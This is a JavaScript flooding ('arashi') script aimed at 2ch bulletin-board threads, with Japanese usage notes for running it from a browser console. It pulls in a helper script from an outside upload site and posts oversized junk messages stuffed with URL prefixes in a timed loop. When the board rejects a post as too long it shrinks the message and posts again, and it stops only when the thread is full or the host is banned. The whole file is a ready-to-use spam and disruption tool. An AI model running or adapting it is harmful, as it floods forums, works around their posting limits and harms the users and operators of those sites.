/********************************2ch嵐スクリプト********************************
説明
1.下記の６つの変数を設定します
2.JavaScriptが実行できるブラウザでスレを開きます（例：http://potato.2ch.net/test/read.cgi/jisaku/1485778450/）
3.コンソールかなんかで実行します

備考
このスクリプトはecl.jsが必須です。44行目付近のsetup.srcのURLはリンク切れになったら適当に設定してね
INTERVAL: 投稿間隔
FROM: 名前
MAIL: メ欄
LENGTH: 投稿の文字数
TIMES: 一瞬の内に何回連投するか（２回でもある程度安定、３回だとほぼ無理）
STRINGS: http://、またはhttps://の後に出す文字列、[,]で区切る
*****************************************************************************/

var INTERVAL = 15000;

var FROM = "";
var MAIL = "sage";
var LENGTH = 2048;

var TIMES = 2;
var STRINGS = "あ,い,う,え,お,か,き,く,け,こ,さ,し,す,せ,そ,た,ち,つ,て,と,な,に,ぬ,ね,の,は,ひ,ふ,へ,ほ,ま,み,む,め,も,や,ゆ,よ,ら,り,る,れ,ろ,わ,ゐ,う,ゑ,を,ん";

////////////////////////////////////////////////////////

var POSTURL = document.getElementsByTagName("form")[document.getElementsByTagName("form").length-1].action;
var BBS = document.getElementsByName("bbs")[document.getElementsByName("bbs").length-1].value;
var KEY = document.getElementsByName("key")[document.getElementsByName("key").length-1].value;

var setup = document.createElement('script');
setup.interval = INTERVAL;
setup.from = FROM;
setup.mail = MAIL;
setup.len = LENGTH;
setup.posturl = POSTURL;
setup.bbs = BBS;
setup.key = KEY;
setup.times = TIMES;
setup.strings = STRINGS;

setup.src = "http://rusty.tank.jp/upload/upl/koDiOeX5gqPC2ilZ2q1I.txt";
setup.onload = Init;
document.getElementsByTagName('head')[0].appendChild(setup);

function Init(){
	var arashi = new Arashi(this.interval, this.from, this.mail, this.len, this.posturl, this.bbs, this.key, this.times, this.strings);
	arashi.Loop();
}

function Arashi(interval, from, mail, len, posturl, bbs, key, times, strings){
	var successCount = 0;
	var that = this;
	this.Loop = function(){
		successCount = 0;
		var messages = new Array();
		for(var i=0;i<times;i++) messages[i] = HugeString2ch(len, strings, true);
		for(var i=0;i<times;i++) post2ch(posturl, messages[i], from, mail, bbs, key, that.CheckResponse);
	}
	this.CheckResponse = function(){
		var emsgFrom = this.responseText.indexOf("<font size=\"+1\" color=\"#FF0000\"><b>"); //+35
		if( emsgFrom != -1 ){
			var emsgTo = this.responseText.indexOf("</b>", emsgFrom + 35);
			var emsg = this.responseText.slice(emsgFrom + 35, emsgTo);
		}
		else{
			emsg = "";
		}
		
		if( successCount == -1 ) return;
		if( emsg.indexOf("ERROR: このスレッドは512kを超えているので書けません！") != -1 ){
			successCount = -1;
			alert("おしまい");
			return;
		}
		if( emsg.indexOf("ERROR: このホストはBBx規制中です。") != -1 ){
			successCount = -1;
			alert("やられた");
			return;
		}
		if( emsg.indexOf("ERROR: 本文が長すぎます！") != -1 ){
			var lenFrom = emsg.indexOf("/") + 1; //+1
			var lenTo = emsg.indexOf(")", lenFrom);
			len = Number( emsg.slice(lenFrom, lenTo) );
			message = HugeString2ch(len, strings, true);
			post2ch(posturl, message, from, mail, bbs, key, that.CheckResponse);
			return;
		}
		successCount++;
		if(successCount == times) setTimeout(that.Loop, interval);
	}
}

function post2ch(posturl, msg, from, mail, bbs, key, callback){
	var paramsString = 
		"time=" + String( Math.floor( new Date().getTime() / 1000 ) - 100 ) + 
		"&MESSAGE=" + EscapeSJIS(msg) + 
		"&FROM=" + EscapeSJIS(from) + 
		"&mail=" + EscapeSJIS(mail) + 
		"&bbs=" + bbs + 
		"&key=" + key;

	var req = new XMLHttpRequest();
	req.open("POST", posturl);
	req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
	req.onload = callback;
	req.send(paramsString);
}

function postThreadTo2ch(posturl, title, msg, from, mail, bbs, callback){
	var paramsString = 
		"time=" + String( Math.floor( new Date().getTime() / 1000 ) - 100 ) + 
		"&submit=Bring+up+New+Thread" +
		"&subject=" + encodeURI(title) + 
		"&MESSAGE=" + encodeURI(msg) + 
		"&FROM=" + from + 
		"&mail=" + mail + 
		"&bbs=" + bbs;

	var req = new XMLHttpRequest();
	req.open("POST", posturl);
	req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
	req.onload = callback;
	req.send(paramsString);
}

function HugeString2ch(length, injection, isHttp){ //injectionは各文字列大体250B以内
	const maxLineCharAmount = 250;
	var injectArray = injection.split(",");
	var tmpStr = "";
	var realLength = 0;
	var editedLength = 0;
	var i = 0;
	var lastI = 0;
	var lastRealLength = 0;
	
	while(true){
		if( isHttp == true){
			if( Math.floor(Math.random()*2) == 0 ) tmpStr += "http://";
			else tmpStr += "https://";
		}
		tmpStr += injectArray[Math.floor(Math.random()*injectArray.length)];
		tmpStr += " ";
		if( tmpStr.length >= length ) break;
	}
	
	var tmpArray = Array.from(tmpStr);
	
	while(true){
		realLength += BinaryLength( tmpArray[i] );
		
		if( realLength >= length ) break;
		
		if( realLength - editedLength >= maxLineCharAmount ){
			tmpArray[lastI] = "\n";
			i = lastI;
			realLength = lastRealLength + 6 - 1; //何故か改行は6Byte、-1は既に増加したスペースの差分
			editedLength = realLength;
		}
		
		if( tmpArray[i] == " " ){
			lastI = i;
			lastRealLength = realLength;
		}
		
		i++;
	}
	
	tmpStr = tmpArray.join("").substr(0, lastI);
	
	return tmpStr;
}

function BinaryLength(str){
	return escape(str).replace(/%u..../g,"xx").replace(/%../g, "x").length;
}

function generate(characters, num){
	var ret_str = "";
	for(var digits=1;;digits++) if( Math.floor( num / Math.pow( characters.length, digits ) ) == 0 ) break;
	for(var i=1;i<=digits;i++) ret_str += characters[ Math.floor( num / Math.pow(characters.length, digits-i) ) % characters.length ];
	return ret_str;
}